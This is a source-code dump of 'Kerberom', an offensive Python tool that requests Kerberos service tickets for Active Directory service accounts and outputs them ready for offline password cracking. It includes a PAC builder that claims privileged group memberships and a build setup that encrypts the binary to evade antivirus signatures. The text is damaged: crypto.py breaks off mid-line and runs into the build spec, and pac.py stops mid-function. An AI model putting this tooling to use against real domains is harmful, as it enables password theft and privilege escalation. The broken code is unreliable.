├── .gitignore ├── modules └── rom │ ├── __init__.py │ ├── _crypto │ ├── __init__.py │ ├── MD5.py │ ├── MD4.py │ └── ARC4.py │ ├── util.py │ ├── crypto.py │ ├── ccache.py │ ├── pac.py │ ├── rich.py │ ├── constants.py │ ├── enum.py │ └── krb5.py ├── requirements.txt ├── bin └── BUILD.md ├── kerberom.spec ├── README.md └── kerberom.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc -------------------------------------------------------------------------------- /modules/rom/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/rom/_crypto/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | ldap3==1.4.0 2 | pyasn1==0.2.3 3 | -------------------------------------------------------------------------------- /modules/rom/_crypto/MD5.py: -------------------------------------------------------------------------------- 1 | # ---------------------------------------------------------------------------- 2 | # "THE BEER-WARE LICENSE" (Revision 42): 3 | # wrote this file. As long as you 4 | # retain this notice you can do whatever you want with this stuff. If we meet 5 | # some day, and you think this stuff is worth it, you can buy me a beer in 6 | # return. Fist0urs 7 | # ---------------------------------------------------------------------------- 8 | 9 | #!/usr/bin/python 10 | 11 | # -*- coding: utf-8 -*- 12 | 13 | # by Fist0urs 14 | 15 | import hashlib 16 | 17 | def new(*args): 18 | return hashlib.md5(*args) 19 | -------------------------------------------------------------------------------- /modules/rom/_crypto/MD4.py: -------------------------------------------------------------------------------- 1 | # ---------------------------------------------------------------------------- 2 | # "THE BEER-WARE LICENSE" (Revision 42): 3 | # wrote this file. As long as you 4 | # retain this notice you can do whatever you want with this stuff. If we meet 5 | # some day, and you think this stuff is worth it, you can buy me a beer in 6 | # return. Fist0urs 7 | # ---------------------------------------------------------------------------- 8 | 9 | #!/usr/bin/python 10 | 11 | # -*- coding: utf-8 -*- 12 | 13 | # by Fist0urs 14 | 15 | import hashlib 16 | 17 | def new(*args): 18 | return hashlib.new('md4', *args) 19 | -------------------------------------------------------------------------------- /bin/BUILD.md: -------------------------------------------------------------------------------- 1 | Compilation was successful on an x64 architecture with the following dependencies: 2 | 3 | - Python: 2.7.13 (x86) 4 | - PyInstaller: 3.2.1 (x86) 5 | - Microsoft Visual C++ Compiler for Python 2.7 (https://www.microsoft.com/en-us/download/details.aspx?id=44266) 6 | - pywin32 7 | - pyasn1==0.2.3 8 | - ldap3==2.2.4 9 | - pyopenssl 10 | - pycrypto 11 | 12 | Please let me know if some dependencies are missing. 13 | 14 | Before compiling with PyInstaller, please make sure to replace 'ABSOLUTE_PATH_TO_KERBEROM_FOLDER' in 'kerberom.spec'. 15 | 16 | For example, if your kerberom folder location follows this scheme: 17 | 18 | ``` 19 | C:\ 20 | --> Python27\ 21 | --> Users\ 22 | --> Foo\ 23 | --> Desktop\ 24 | --> kerberom\ 25 | --> modules\ 26 | --> kerberom.py 27 | --> kerberom.spec 28 | --> INSTALL.md 29 | ``` 30 | 31 | ABSOLUTE_PATH_TO_KERBEROM_FOLDER will be 'C:\\\\Users\\\\Foo\\\\Desktop\\\\kerberom' 32 | 33 | Compilation command will be: 34 | 35 | cmd> C:\Python27\Scripts\pyinstaller.exe "C:\Users\Foo\Desktop\kerberom\kerberom.spec" 36 | -------------------------------------------------------------------------------- /modules/rom/_crypto/ARC4.py: -------------------------------------------------------------------------------- 1 | # ---------------------------------------------------------------------------- 2 | # "THE BEER-WARE LICENSE" (Revision 42): 3 | # wrote this file. As long as you 4 | # retain this notice you can do whatever you want with this stuff. If we meet 5 | # some day, and you think this stuff is worth it, you can buy me a beer in 6 | # return. Fist0urs 7 | # ---------------------------------------------------------------------------- 8 | 9 | #!/usr/bin/python 10 | 11 | # -*- coding: utf-8 -*- 12 | 13 | # by Fist0urs 14 | 15 | class ARC4Cipher(object): 16 | def __init__(self, key): 17 | self.key = key 18 | 19 | def encrypt(self, data): 20 | S = range(256) 21 | j = 0 22 | out = [] 23 | for i in range(256): 24 | j = (j + S[i] + ord( self.key[i % len(self.key)] )) % 256 25 | S[i] , S[j] = S[j] , S[i] 26 | i = j = 0 27 | for char in data: 28 | i = ( i + 1 ) % 256 29 | j = ( j + S[i] ) % 256 30 | S[i] , S[j] = S[j] , S[i] 31 | out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256])) 32 | return ''.join(out) 33 | 34 | def decrypt(self, data): 35 | return self.encrypt(data) 36 | 37 | def new(key): 38 | return ARC4Cipher(key) 39 | -------------------------------------------------------------------------------- /modules/rom/util.py: -------------------------------------------------------------------------------- 1 | # ---------------------------------------------------------------------------- 2 | # "THE BEER-WARE LICENSE" (Revision 42): 3 | # wrote this file. As long as you 4 | # retain this notice you can do whatever you want with this stuff. If we meet 5 | # some day, and you think this stuff is worth it, you can buy me a beer in 6 | # return. Fist0urs 7 | # ---------------------------------------------------------------------------- 8 | 9 | #!/usr/bin/python 10 | 11 | # -*- coding: utf-8 -*- 12 | 13 | # by Fist0urs 14 | 15 | from struct import unpack, pack 16 | from time import time, gmtime, strftime, strptime, localtime 17 | from calendar import timegm 18 | 19 | 20 | def gt2epoch(gt): 21 | return timegm(strptime(gt, '%Y%m%d%H%M%SZ')) 22 | 23 | def epoch2gt(epoch=None, microseconds=False): 24 | if epoch is None: 25 | epoch = time() 26 | gt = strftime('%Y%m%d%H%M%SZ', gmtime(epoch)) 27 | if microseconds: 28 | ms = int(epoch * 1000000) % 1000000 29 | return (gt, ms) 30 | return gt 31 | 32 | def epoch2filetime(epoch=None): 33 | if epoch is None: 34 | epoch = time() 35 | return pack('Q', int((epoch + 11644473600) * 10000000)) 36 | 37 | def filetime2local(s): 38 | t = unpack('Q', s)[0] 39 | if t == 0x7fffffffffffffff: 40 | return 'NEVER' 41 | if t == 0: 42 | return 'NULL' 43 | secs = t / 10000000 - 11644473600 44 | digits = t % 10000000 45 | return "%s.%07d" % (strftime('%Y/%m/%d %H:%M:%S', localtime(secs)), digits) 46 | 47 | def bitstring2int(bs): 48 | return sum(b << i for i, b in enumerate(reversed(bs))) 49 | 50 | 51 | -------------------------------------------------------------------------------- /modules/rom/crypto.py: -------------------------------------------------------------------------------- 1 | # ---------------------------------------------------------------------------- 2 | # "THE BEER-WARE LICENSE" (Revision 42): 3 | # wrote this file. As long as you 4 | # retain this notice you can do whatever you want with this stuff. If we meet 5 | # some day, and you think this stuff is worth it, you can buy me a beer in 6 | # return. Fist0urs 7 | # ---------------------------------------------------------------------------- 8 | 9 | #!/usr/bin/python 10 | 11 | # -*- coding: utf-8 -*- 12 | 13 | # by Fist0urs 14 | 15 | from random import getrandbits, sample 16 | from struct import pack 17 | 18 | from _crypto import ARC4, MD5, MD4 19 | import hmac as HMAC 20 | 21 | # supported encryptions 22 | RC4_HMAC = 23 23 | 24 | # suported checksum 25 | RSA_MD5 = 7 26 | HMAC_MD5 = 0xFFFFFF76 27 | 28 | def random_bytes(n): 29 | return ''.join(chr(c) for c in sample(xrange(256), n)) 30 | 31 | def decrypt(etype, key, msg_type, encrypted): 32 | # MAGIC 33 | if etype != RC4_HMAC: 34 | return '31337313373133731337' + str(etype) 35 | 36 | chksum = encrypted[:16] 37 | data = encrypted[16:] 38 | k1 = HMAC.new(key, pack(' wrote this file. As long as you 4 | # retain this notice you can do whatever you want with this stuff. If we meet 5 | # some day, and you think this stuff is worth it, you can buy me a beer in 6 | # return. Fist0urs 7 | # ---------------------------------------------------------------------------- 8 | 9 | # -*- mode: python -*- 10 | 11 | import sys, string, random 12 | 13 | sys.path.append("./modules") 14 | 15 | def random_key(): 16 | charset = string.printable 17 | return ''.join(random.choice(charset) for _ in range(16)) 18 | 19 | def random_name(name_length = 1): 20 | charset = string.ascii_lowercase 21 | return ''.join(random.choice(charset) for _ in range(name_length)) 22 | 23 | block_cipher = pyi_crypto.PyiBlockCipher(key = random_key()) 24 | 25 | a = Analysis(['kerberom.py', 'kerberom.spec'], 26 | pathex=['ABSOLUTE_PATH_TO_KERBEROM_FOLDER'], 27 | binaries=[], 28 | datas=[], 29 | hiddenimports=[], 30 | hookspath=[], 31 | runtime_hooks=[], 32 | excludes=["pywin", "pywin.debugger", "pywin.debugger.dbgcon", 33 | "pywin.dialogs", "pywin.dialogs.list", "Tkconstants", 34 | "Tkinter", "tcl", "Carbon", "Carbon.Files", "email", 35 | "email.utils", "_scproxy", "urllib.parse", "winreg", 36 | "queue", "extend.ExtendedOperationsRoot", 37 | "backports.ssl_match_hostname", "future.types.newstr", 38 | "gssapi", "unittest", "xml", "xml.parsers.expat", 39 | "w9xpopen.exe", "wx", "org", "EasyDialogs", "termios", 40 | "pwd", "fcntl", "readline", "org.python", "backports", 41 | "vms_lib", "'java.lang'", "java", "'xml.parsers'", 42 | "'Carbon.File'", "MacOS", "macresource", "gestalt", 43 | "_dummy_threading", "SOCKS", "rourl2path", "'dbm.ndbm'", 44 | "gdbm", "'dbm.gnu'", "'dbm.dumb'", "bsddb3", "_pybsddb", 45 | "dbm", "_sysconfigdata", "grp", "'test.support'", "_datetime", 46 | "reprlib.recursive_repr", "_thread.get_ident", "riscosenviron", 47 | "riscospath", "riscos", "ce", "_emx_link", "os2", "posix", 48 | "resource"], 49 | win_no_prefer_redirects=False, 50 | win_private_assemblies=False, 51 | cipher=block_cipher) 52 | 53 | pyz = PYZ(a.pure, a.zipped_data, 54 | cipher=block_cipher) 55 | exe = EXE(pyz, 56 | a.scripts, 57 | a.binaries, 58 | a.zipfiles, 59 | a.datas, 60 | name='kerberom', # or random_name(6) 61 | debug=False, 62 | icon=None, 63 | strip=False, 64 | upx=False, 65 | console=True ) 66 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Kerberom 2 | ======== 3 | 4 | Kerberom is a tool aimed to retrieve ARC4-HMAC'ed encrypted Tickets Granting Service (TGS) of accounts having a Service Principal Name (SPN) within 5 | an Active Directory. 6 | 7 | These tickets are stored in a format supported by John The Ripper bleeding-jumbo (https://github.com/magnumripper/JohnTheRipper) 8 | and hashcat (https://github.com/hashcat/hashcat). 9 | 10 | Cracking these tickets gives you the associated accounts' password within the Active Directory. 11 | 12 | **You do not need any third-party tools that are OS dependents (like mimikatz or PowerShell) and do not need privileged rights to use kerberom** 13 | 14 | Author 15 | ------ 16 | - Jean-Christophe Delaunay, jean-christophe.delaunay (at) synacktiv.com 17 | 18 | Greetings 19 | --------- 20 | - meskal 21 | - The amazing impacket (https://github.com/CoreSecurity/impacket) 22 | - Sylvain Monne, sylvain (dot) monne (at) solucom (dot) fr 23 | 24 | kerberom.py 25 | ----------- 26 | 27 | Prerequisites in explicit authentication: 28 | - A domain account (eventually its SID if NTLM authentication is disabled upon Kerberos) and its credentials 29 | - The address of the Domain Controler (can be a FQDN or IP address) 30 | - The FQDN of the domain 31 | - (Eventually a list of SPN with format "samaccountname$spn", field "samaccountname" can be "unknown") 32 | 33 | Tickets can be retrieved using NTLM authentication but also Kerberos (this one needs you to provide the account SID as you will have to use it to make up your PAC) 34 | and providing password or hash (format "LM:NT") of the account used. 35 | 36 | Prerequisites in implicit authentication (Windows only): 37 | - Being in a user logged-on context 38 | - The address of the Domain Controler (can be a FQDN or IP address) 39 | - The FQDN of the domain 40 | - (Eventually a list of SPN with format "samaccountname$spn", field "samaccountname" can be "unknown") 41 | 42 | Install 43 | ------- 44 | kerberom is a standalone script/binary 45 | 46 | Compilation (Windows only): 47 | -------------------------- 48 | HOW-TO is provided in bin/BUILD.md 49 | 50 | The binary is generated using PyInstaller and a new AES256 encryption key is generated each time the binary is compiled. This is only to break anti-viruses' signature engine based on kerberom source code. 51 | 52 | Known-bug 53 | --------- 54 | Depending on your pyasn1 version, you may encounter parsing errors using explicit authentication. 55 | 56 | Usage 57 | ----- 58 | ``` 59 | usage: kerberom.py [-h] [--implicit IMPLICIT] [-u USERNAME] 60 | [-d DOMAINCONTROLERADDR] [-o OUTPUTFILE] 61 | [-iK INPUT_TGT_FILE] [-p PASSWORD | --hash HASH] [-v] 62 | [--delta DELTA] [-k USER_SID | -i INPUTFILE_SPN] 63 | 64 | Tool to retrieve all accounts having an SPN and their TGS in arc4-hmac 65 | encrypted blob. Output is ready-to-crack for John The Ripper 'krb5tgs' and 66 | hashcat 13100 formats, by jean-christophe.delaunay synacktiv.com 67 | 68 | optional arguments: 69 | -h, --help show this help message and exit 70 | --implicit IMPLICIT use Windows implicit authentication mechanism. Format 71 | is (FQDN/IP)_DomainController[:port]@FQDN_Domain. eg: 72 | 192.168.13.13:389@infra.kerberos.com 73 | -u USERNAME, --username USERNAME 74 | format must be userName@DomainFQDN. eg: 75 | fistouille@infra.kerberos.com 76 | -d DOMAINCONTROLERADDR, --domainControlerAddr DOMAINCONTROLERADDR 77 | domain Controler FQDN. Can be an IP but ldap retrieval 78 | through kerberos method will not work (-k) 79 | -o OUTPUTFILE, --outputfile OUTPUTFILE 80 | outputfile where to store results and extracted 81 | accounts having an SPN (to be used with '-i' 82 | afterward) 83 | -iK INPUT_TGT_FILE, --input_TGT_File INPUT_TGT_FILE 84 | user's provided file containing TGT. Parsing is 85 | determined by extension (.ccache for Linux , Windows 86 | is yet to be implemented) 87 | -p PASSWORD, --password PASSWORD 88 | clear password submitted. Cannot be used with '--hash' 89 | --hash HASH user's hash key. Format is "LM:NT". Cannot be used 90 | with '-p' 91 | -v, --verbose increase verbosity level 92 | --delta DELTA set time delta in Kerberos tickets. Useful when DC is 93 | not on the same timezone. Format is 94 | "(+/-)hours:minutes:seconds", eg. --delta="+00:05:00" 95 | or --delta="-02:00:00" 96 | -k USER_SID, --user_sid USER_SID 97 | force ldap SPN retrieval through kerberos, sid is 98 | mandatory. Cannot be used with '-i' 99 | -i INPUTFILE_SPN, --inputfile_spn INPUTFILE_SPN 100 | retrieve TGS associated with SPN in user's provided 101 | file. Format must be 'samaccountname$spn' on each 102 | line, 'samaccountname' can be 'unknown' 103 | ``` 104 | -------------------------------------------------------------------------------- /modules/rom/ccache.py: -------------------------------------------------------------------------------- 1 | # ---------------------------------------------------------------------------- 2 | # "THE BEER-WARE LICENSE" (Revision 42): 3 | # wrote this file. As long as you 4 | # retain this notice you can do whatever you want with this stuff. If we meet 5 | # some day, and you think this stuff is worth it, you can buy me a beer in 6 | # return. Fist0urs 7 | # ---------------------------------------------------------------------------- 8 | 9 | #!/usr/bin/python 10 | 11 | # -*- coding: utf-8 -*- 12 | 13 | # by Fist0urs 14 | 15 | from collections import namedtuple 16 | import struct 17 | from struct import pack, unpack 18 | 19 | from util import gt2epoch, bitstring2int 20 | from krb5 import encode, Ticket, NT_PRINCIPAL 21 | 22 | CCacheCredential = namedtuple('CCacheCredential', 'client server key time is_skey tktflags addrs authdata ticket second_ticket') 23 | CCacheKeyblock = namedtuple('CCacheKeyblock', 'keytype etype keyvalue') 24 | CCacheTimes = namedtuple('CCacheTimes', 'authtime starttime endtime renew_till') 25 | CCacheAddress = namedtuple('CCacheAddress', 'addrtype addrdata') 26 | CCacheAuthdata = namedtuple('CCacheAuthdata', 'authtype authdata') 27 | CCachePrincipal = namedtuple('CCachePrincipal', 'name_type realm components') 28 | 29 | VERSION = 0x0504 30 | DEFAULT_HEADER = '00010008ffffffff00000000'.decode('hex') 31 | 32 | class CCache(object): 33 | def __init__(self, primary_principal, credentials=[], header=DEFAULT_HEADER): 34 | if not isinstance(primary_principal, CCachePrincipal): 35 | if isinstance(primary_principal, basestring) and '@' in primary_principal: 36 | realm, user_name = primary_principal.split('@', 1) 37 | elif isinstance(primary_principal, tuple) and len(primary_principal) == 2: 38 | realm, user_name = primary_principal 39 | else: 40 | raise ValueError('Bad primary principal format: %r' % primary_principal) 41 | primary_principal = CCachePrincipal(NT_PRINCIPAL, realm, [user_name]) 42 | 43 | self.primary_principal = primary_principal 44 | self.credentials = credentials 45 | self.header = header 46 | 47 | @classmethod 48 | def load(cls, filename): 49 | fp = open(filename, 'rb') 50 | version, headerlen = unpack('>HH', fp.read(4)) 51 | if version != VERSION: 52 | raise ValueError('Unsupported version: 0x%04x' % version) 53 | header = fp.read(headerlen) 54 | primary_principal = cls.read_principal(fp) 55 | credentials = [] 56 | while True: 57 | try: 58 | credentials.append(cls.read_credential(fp)) 59 | except struct.error: 60 | break 61 | fp.close() 62 | return cls(primary_principal, credentials, header) 63 | 64 | def save(self, filename): 65 | fp = open(filename, 'wb') 66 | fp.write(pack('>HH', VERSION, len(self.header))) 67 | fp.write(self.header) 68 | self.write_principal(fp, self.primary_principal) 69 | for cred in self.credentials: 70 | self.write_credential(fp, cred) 71 | fp.close() 72 | 73 | def add_credential(self, newcred): 74 | for i in range(len(self.credentials)): 75 | if self.credentials[i].client == newcred.client and \ 76 | self.credentials[i].server == newcred.server: 77 | self.credentials[i] = newcred 78 | return 79 | self.credentials.append(newcred) 80 | 81 | @classmethod 82 | def read_string(cls, fp): 83 | length = unpack('>I', fp.read(4))[0] 84 | return fp.read(length) 85 | 86 | @classmethod 87 | def write_string(cls, fp, s): 88 | fp.write(pack('>I', len(s))) 89 | fp.write(s) 90 | 91 | @classmethod 92 | def read_principal(cls, fp): 93 | name_type, num_components = unpack('>II', fp.read(8)) 94 | realm = cls.read_string(fp) 95 | components = [cls.read_string(fp) for i in range(num_components)] 96 | return CCachePrincipal(name_type, realm, components) 97 | 98 | @classmethod 99 | def write_principal(cls, fp, p): 100 | fp.write(pack('>II', p.name_type, len(p.components))) 101 | cls.write_string(fp, p.realm) 102 | for comp in p.components: 103 | cls.write_string(fp, comp) 104 | 105 | @classmethod 106 | def read_keyblock(cls, fp): 107 | keytype, etype, keylen = unpack('>HHH', fp.read(6)) 108 | keyvalue = fp.read(keylen) 109 | return CCacheKeyblock(keytype, etype, keyvalue) 110 | 111 | @classmethod 112 | def write_keyblock(cls, fp, k): 113 | fp.write(pack('>HHH', k.keytype, k.etype, len(k.keyvalue))) 114 | fp.write(k.keyvalue) 115 | 116 | @classmethod 117 | def read_times(cls, fp): 118 | authtime, starttime, endtime, renew_till = unpack('>IIII', fp.read(16)) 119 | return CCacheTimes(authtime, starttime, endtime, renew_till) 120 | 121 | @classmethod 122 | def write_times(cls, fp, t): 123 | fp.write(pack('>IIII', t.authtime, t.starttime, t.endtime, t.renew_till)) 124 | 125 | @classmethod 126 | def read_address(cls, fp): 127 | addrtype = unpack('>H', fp.read(2))[0] 128 | addrdata = cls.read_string(fp) 129 | return CCacheAddress(addrtype, addrdata) 130 | 131 | @classmethod 132 | def write_address(cls, fp, a): 133 | fp.write(pack('>H', a.addrtype)) 134 | cls.write_string(fp, a.addrdata) 135 | 136 | @classmethod 137 | def read_credential(cls, fp): 138 | client = cls.read_principal(fp) 139 | server = cls.read_principal(fp) 140 | key = cls.read_keyblock(fp) 141 | time = cls.read_times(fp) 142 | is_skey, tktflags, num_address = unpack('>BII', fp.read(9)) 143 | addrs = [cls.read_address(fp) for i in range(num_address)] 144 | num_authdata = unpack('>I', fp.read(4))[0] 145 | authdata = [cls.read_authdata(fp) for i in range(num_authdata)] 146 | ticket = cls.read_string(fp) 147 | second_ticket = cls.read_string(fp) 148 | return CCacheCredential(client, server, key, time, is_skey, tktflags, 149 | addrs, authdata, ticket, second_ticket) 150 | 151 | @classmethod 152 | def write_credential(cls, fp, c): 153 | cls.write_principal(fp, c.client) 154 | cls.write_principal(fp, c.server) 155 | cls.write_keyblock(fp, c.key) 156 | cls.write_times(fp, c.time) 157 | fp.write(pack('>BII', c.is_skey, c.tktflags, len(c.addrs))) 158 | for addr in c.addrs: 159 | cls.write_address(fp, addr) 160 | fp.write(pack('>I', len(c.authdata))) 161 | for authdata in c.authdata: 162 | cls.write_authdata(fp, authdata) 163 | cls.write_string(fp, c.ticket) 164 | cls.write_string(fp, c.second_ticket) 165 | 166 | def get_tgt_cred(ccache): 167 | for credential in ccache.credentials: 168 | if credential.server.components[0] == 'krbtgt': 169 | return credential 170 | raise ValueError('No TGT in CCache!') 171 | 172 | def kdc_rep2ccache(kdc_rep, kdc_rep_enc): 173 | return CCacheCredential( 174 | client=CCachePrincipal( 175 | name_type=int(kdc_rep['cname']['name-type']), 176 | realm=str(kdc_rep['crealm']), 177 | components=[str(c) for c in kdc_rep['cname']['name-string']]), 178 | server=CCachePrincipal( 179 | name_type=int(kdc_rep_enc['sname']['name-type']), 180 | realm=str(kdc_rep_enc['srealm']), 181 | components=[str(c) for c in kdc_rep_enc['sname']['name-string']]), 182 | key=CCacheKeyblock( 183 | keytype=int(kdc_rep_enc['key']['keytype']), 184 | etype=0, 185 | keyvalue=str(kdc_rep_enc['key']['keyvalue'])), 186 | time=CCacheTimes( 187 | authtime=gt2epoch(str(kdc_rep_enc['authtime'])), 188 | starttime=gt2epoch(str(kdc_rep_enc['starttime'])), 189 | endtime=gt2epoch(str(kdc_rep_enc['endtime'])), 190 | renew_till=gt2epoch(str(kdc_rep_enc['renew-till']))), 191 | is_skey=0, 192 | tktflags=bitstring2int(kdc_rep_enc['flags']), 193 | addrs=[], 194 | authdata=[], 195 | ticket=encode(kdc_rep['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)), 196 | second_ticket='') 197 | -------------------------------------------------------------------------------- /modules/rom/pac.py: -------------------------------------------------------------------------------- 1 | # ---------------------------------------------------------------------------- 2 | # "THE BEER-WARE LICENSE" (Revision 42): 3 | # wrote this file. As long as you 4 | # retain this notice you can do whatever you want with this stuff. If we meet 5 | # some day, and you think this stuff is worth it, you can buy me a beer in 6 | # return. Fist0urs 7 | # ---------------------------------------------------------------------------- 8 | 9 | #!/usr/bin/python 10 | 11 | # -*- coding: utf-8 -*- 12 | 13 | # by Fist0urs 14 | 15 | from struct import pack, unpack, unpack_from 16 | 17 | from crypto import checksum, RSA_MD5 18 | from util import filetime2local, epoch2filetime 19 | 20 | PAC_LOGON_INFO = 1 21 | PAC_SERVER_CHECKSUM = 6 22 | PAC_PRIVSVR_CHECKSUM = 7 23 | PAC_CLIENT_INFO = 10 24 | 25 | PAC_TYPE_NAME = {PAC_LOGON_INFO: 'Logon information', 26 | PAC_SERVER_CHECKSUM: 'Server checksum', 27 | PAC_PRIVSVR_CHECKSUM: 'KDC checksum', 28 | PAC_CLIENT_INFO: 'Client info'} 29 | 30 | SE_GROUP_MANDATORY = 1 31 | SE_GROUP_ENABLED_BY_DEFAULT = 2 32 | SE_GROUP_ENABLED = 4 33 | SE_GROUP_ALL = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED 34 | 35 | USER_NORMAL_ACCOUNT = 0x00000010 36 | USER_DONT_EXPIRE_PASSWORD = 0x00000200 37 | 38 | def _build_unicode_string(buf, eid, s): 39 | buf.append('') 40 | buf[-1] += pack('QI', len(s), len(s)) 41 | buf[-1] += s.encode('utf-16le') 42 | return pack('HHI', len(s) * 2, len(s) * 2, eid) 43 | 44 | def _build_groups(buf, eid, groups): 45 | buf.append('') 46 | buf[-1] += pack('I', len(groups)) 47 | for gr, attr in groups: 48 | buf[-1] += pack('II', gr, attr) 49 | return pack('I', eid) 50 | 51 | def _build_sid(buf, eid, s): 52 | l = s.split('-') 53 | assert l[0] == 'S' 54 | l = [int(c) for c in l[1:]] 55 | buf.append('') 56 | buf[-1] += pack('IBB', len(l) - 2, l[0], len(l) - 2) 57 | buf[-1] += pack('>IH', l[1] >> 16, l[1] & 0xffff) 58 | for c in l[2:]: 59 | buf[-1] += pack('I', c) 60 | return pack('I', eid) 61 | 62 | def _build_pac_logon_info(domain_sid, domain_name, user_id, user_name, logon_time): 63 | buf = [] 64 | buf.append('') 65 | 66 | # ElementId 67 | buf[0] += pack('I', 0x20000) 68 | # LogonTime 69 | buf[0] += logon_time 70 | # LogoffTime 71 | buf[0] += pack('Q', 0x7fffffffffffffff) 72 | # KickOffTime 73 | buf[0] += pack('Q', 0x7fffffffffffffff) 74 | # PasswordLastSet 75 | buf[0] += pack('Q', 0) 76 | # PasswordCanChange 77 | buf[0] += pack('Q', 0) 78 | # PasswordMustChange 79 | buf[0] += pack('Q', 0x7fffffffffffffff) 80 | # EffectiveName 81 | buf[0] += _build_unicode_string(buf, 0x20004, user_name) 82 | # FullName 83 | buf[0] += _build_unicode_string(buf, 0x20008, '') 84 | # LogonScript 85 | buf[0] += _build_unicode_string(buf, 0x2000c, '') 86 | # ProfilePath 87 | buf[0] += _build_unicode_string(buf, 0x20010, '') 88 | # HomeDirectory 89 | buf[0] += _build_unicode_string(buf, 0x20014, '') 90 | # HomeDirectoryDrive 91 | buf[0] += _build_unicode_string(buf, 0x20018, '') 92 | # LogonCount 93 | buf[0] += pack('H', 0) 94 | # BadPasswordCount 95 | buf[0] += pack('H', 0) 96 | # UserId 97 | buf[0] += pack('I', user_id) 98 | # PrimaryGroupId 99 | buf[0] += pack('I', 513) 100 | # GroupCount 101 | buf[0] += pack('I', 5) 102 | # GroupIds[0] 103 | buf[0] += _build_groups(buf, 0x2001c, [(513, SE_GROUP_ALL), 104 | (512, SE_GROUP_ALL), 105 | (520, SE_GROUP_ALL), 106 | (518, SE_GROUP_ALL), 107 | (519, SE_GROUP_ALL)]) 108 | # UserFlags 109 | buf[0] += pack('I', 0) 110 | # UserSessionKey 111 | buf[0] += pack('QQ', 0, 0) 112 | # LogonServer 113 | buf[0] += _build_unicode_string(buf, 0x20020, '') 114 | # LogonDomainName 115 | buf[0] += _build_unicode_string(buf, 0x20024, domain_name) 116 | # LogonDomainId 117 | buf[0] += _build_sid(buf, 0x20028, domain_sid) 118 | # Reserved1 119 | buf[0] += pack('Q', 0) 120 | # UserAccountControl 121 | buf[0] += pack('I', USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD) 122 | # SubAuthStatus 123 | buf[0] += pack('I', 0) 124 | # LastSuccessFulILogon 125 | buf[0] += pack('Q', 0) 126 | # LastFailedILogon 127 | buf[0] += pack('Q', 0) 128 | # FailedILogonCount 129 | buf[0] += pack('I', 0) 130 | # Reserved3 131 | buf[0] += pack('I', 0) 132 | # SidCount 133 | buf[0] += pack('I', 0) 134 | # ExtraSids 135 | buf[0] += pack('I', 0) 136 | # ResourceGroupDomainSid 137 | buf[0] += pack('I', 0) 138 | # ResourceGroupCount 139 | buf[0] += pack('I', 0) 140 | # ResourceGroupIds 141 | buf[0] += pack('I', 0) 142 | 143 | flattened = '' 144 | for s in buf: 145 | flattened += s 146 | flattened += chr(0) * ((len(s) + 3) / 4 * 4 - len(s)) 147 | 148 | header = '01100800cccccccc'.decode('hex') # typeHeader 149 | header += pack('II', len(flattened), 0) # privateHeader 150 | 151 | return header + flattened 152 | 153 | def _build_pac_client_info(user_name, logon_time): 154 | buf = '' 155 | 156 | # ClientId 157 | buf += logon_time 158 | # NameLength 159 | buf += pack('H', len(user_name) * 2) 160 | # Name 161 | buf += user_name.encode('utf-16le') 162 | 163 | return buf 164 | 165 | def build_pac(user_realm, user_name, user_sid, logon_time, server_key=(RSA_MD5, None), kdc_key=(RSA_MD5, None)): 166 | logon_time = epoch2filetime(logon_time) 167 | domain_sid, user_id = user_sid.rsplit('-', 1) 168 | user_id = int(user_id) 169 | 170 | elements = [] 171 | elements.append((PAC_LOGON_INFO, _build_pac_logon_info(domain_sid, user_realm, user_id, user_name, logon_time))) 172 | elements.append((PAC_CLIENT_INFO, _build_pac_client_info(user_name, logon_time))) 173 | elements.append((PAC_SERVER_CHECKSUM, pack('I', server_key[0]) + chr(0)*16)) 174 | elements.append((PAC_PRIVSVR_CHECKSUM, pack('I', kdc_key[0]) + chr(0)*16)) 175 | 176 | buf = '' 177 | # cBuffers 178 | buf += pack('I', len(elements)) 179 | # Version 180 | buf += pack('I', 0) 181 | 182 | offset = 8 + len(elements) * 16 183 | for ultype, data in elements: 184 | # Buffers[i].ulType 185 | buf += pack('I', ultype) 186 | # Buffers[i].cbBufferSize 187 | buf += pack('I', len(data)) 188 | # Buffers[0].Offset 189 | buf += pack('Q', offset) 190 | offset = (offset + len(data) + 7) / 8 * 8 191 | 192 | for ultype, data in elements: 193 | if ultype == PAC_SERVER_CHECKSUM: 194 | ch_offset1 = len(buf) + 4 195 | elif ultype == PAC_PRIVSVR_CHECKSUM: 196 | ch_offset2 = len(buf) + 4 197 | buf += data 198 | buf += chr(0) * ((len(data) + 7) / 8 * 8 - len(data)) 199 | 200 | chksum1 = checksum(server_key[0], buf, server_key[1]) 201 | chksum2 = checksum(kdc_key[0], chksum1, kdc_key[1]) 202 | buf = buf[:ch_offset1] + chksum1 + buf[ch_offset1+len(chksum1):ch_offset2] + chksum2 + buf[ch_offset2+len(chksum2):] 203 | 204 | return buf 205 | 206 | # very dirty... 207 | def pretty_print_pac(pac): 208 | 209 | def ppstr(prefix, pac, k, k2): 210 | le, sz, ptr = unpack_from('HHI', pac, k) 211 | k += 8 212 | if ptr != 0: 213 | reserved, elements = unpack_from('QI', pac, k2) 214 | k2 += 12 215 | s = pac[k2:k2+le].decode('utf-16le') 216 | k2 += le 217 | print '%s[0x%08x] %s' % (prefix, ptr, s) 218 | k2 = (k2 + 3) / 4 * 4 219 | else: 220 | print prefix + '' 221 | return k, k2 222 | 223 | def ppgrparr(prefix, pac, k, k2): 224 | ptr = unpack_from('I', pac, k)[0] 225 | k += 4 226 | if ptr != 0: 227 | le = unpack_from('I', pac, k2)[0] 228 | k2 += 4 229 | print '%s[0x%08x]' % (prefix, ptr) 230 | for i in range(le): 231 | print ' %d (Attributes: 0x%08x)' % unpack_from('II', pac, k2) 232 | k2 += 8 233 | else: 234 | print prefix + '' 235 | return k, k2 236 | 237 | def ppsid(prefix, pac, k, k2): 238 | ptr = unpack_from('I', pac, k)[0] 239 | k += 4 240 | if ptr != 0: 241 | elements, rev, sac = unpack_from('IBB', pac, k2) 242 | k2 += 6 243 | ia1, ia2 = unpack_from('>IH', pac, k2) 244 | k2 